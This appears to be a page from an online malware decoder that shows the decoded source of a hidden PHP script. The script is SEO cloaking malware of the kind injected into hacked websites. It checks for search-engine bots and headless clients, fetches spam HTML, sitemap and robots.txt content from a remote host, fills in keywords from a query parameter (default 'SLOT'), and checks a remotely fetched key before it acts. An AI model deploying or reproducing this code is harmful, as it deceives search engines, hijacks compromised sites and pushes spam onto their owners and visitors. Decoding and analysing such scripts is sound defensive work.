Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$local_key = 'big_group_here';
	 if (!function_exists('mb_strtolower')) {
		 function mb_strtolower($s, $enc = null) {
		 return strtolower($s);
		 
	}
		 function mb_strtoupper($s, $enc = null) {
		 return strtoupper($s);
		 
	}
	 
}
	 function normalize_separators_to_space($s) {
	 $s = str_replace(array('-', '_', '+'), ' ', $s);
	 $s = preg_replace('/\s+/u', ' ', $s);
	 return trim($s);
	 
}
	 function titlecase_words($str) {
	 $s = normalize_separators_to_space($str);
	 $s = mb_strtolower($s, 'UTF-8');
		 $s = preg_replace_callback( '/(^|\s)(\p{
		L
	}
		)/u', function ($m) {
		 return $m[1] . mb_strtoupper($m[2], 'UTF-8');
		 
	}
	, $s );
	 return $s;
	 
}
	 function replace_template_placeholders($template, $brand, $linkBrand) {
	 $brandEsc = htmlspecialchars($brand, ENT_QUOTES, 'UTF-8');
	 $linkBrandEsc = htmlspecialchars($linkBrand, ENT_QUOTES, 'UTF-8');
		 $out = str_replace( array('{
			{
			Brand
		}
	}
		', '{
			{
			link-brand
		}
	}
	'), array($brandEsc, $linkBrandEsc), $template );
	 return $out;
	 
}
	 function fetch_template($file_url) {
	 $allow_url_fopen = ini_get('allow_url_fopen');
	 $curl_exists = function_exists('curl_init');
		 if ($allow_url_fopen) {
		 $template = @file_get_contents($file_url);
			 if ($template !== false) {
			 return $template;
			 
		}
		 
	}
		 if ($curl_exists) {
		 $ch = curl_init($file_url);
		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
		 $template = curl_exec($ch);
		 curl_close($ch);
			 if ($template !== false) {
			 return $template;
			 
		}
		 
	}
	 return false;
	 
}
	 function verify_key($key_url, $local_key) {
	 $remote_key = fetch_template($key_url);
		 if ($remote_key === false) {
		 return false;
		 
	}
	 $remote_key = trim($remote_key);
	 $remote_key_hash = hash('sha256', $remote_key);
	 $local_key_hash = hash('sha256', $local_key);
	 return hash_equals($local_key_hash, $remote_key_hash);
	 
}
	 function is_search_bot() {
	 return isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/Googlebot|Google-InspectionTool|bingbot|slurp|duckduckbot|baiduspider|yandexbot/i', $_SERVER['HTTP_USER_AGENT']);
	 
}
	 function is_headless() {
	 $h = function_exists('getallheaders') ? array_change_key_case(getallheaders(), CASE_LOWER) : [];
	 $a = $h['accept'] ?? '';
	 $l = $h['accept-language'] ?? '';
	 $e = $h['accept-encoding'] ?? '';
	 return ($a === '*/*' || $l === '' || $e === '');
	 
}
 $req_path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?? '/';
 $req_path = '/' . ltrim($req_path, '/');
 $req_path = rtrim($req_path, '/') . '/';
 $paths = array_map(fn($p) => rtrim('/' . ltrim(trim($p), '/'), '/') . '/', explode(',', $active_paths));
 $sitemap_req_path = rtrim($active_paths, '/') . '/sitemap.xml/';
 $robots_req_path = rtrim($active_paths, '/') . '/robots.txt/';
	 if ($req_path === $sitemap_req_path) {
	 $sitemap_url = rtrim($url, '/') . '/sitemap.xml';
	 $sitemap_content = fetch_template($sitemap_url);
		 if ($sitemap_content !== false) {
		 header('Content-Type: application/xml;
		 charset=utf-8');
		 echo $sitemap_content;
		 exit;
		 
	}
	 
}
	 if ($req_path === $robots_req_path) {
	 $robots_url = rtrim($url, '/') . '/robots.txt';
	 $robots_content = fetch_template($robots_url);
		 if ($robots_content !== false) {
		 header('Content-Type: text/plain;
		 charset=utf-8');
		 echo $robots_content;
		 exit;
		 
	}
	 
}
 $key_url = rtrim($url, '/') . '/.key';
	 if (!verify_key($key_url, $local_key)) {
	 header("Location: https://www.google.com");
	 exit;
	 
}
	 if (in_array($req_path, $paths, true) && (is_search_bot() || is_headless())) {
	 $file_url = rtrim($url, '/') . '/index.html';
	 $template = fetch_template($file_url);
		 if ($template !== false) {
		 $raw = isset($_GET['q']) ? trim((string)$_GET['q']) : 'SLOT';
		 $brand = titlecase_words($raw);
		 $linkBrand = mb_strtolower($raw, 'UTF-8');
		 $out = replace_template_placeholders($template, $brand, $linkBrand);
		 header('Content-Type: text/html;
		 charset=utf-8');
		 echo $out;
		 exit;
		 
	}
	 
}



© 2023 Quttera Ltd. All rights reserved.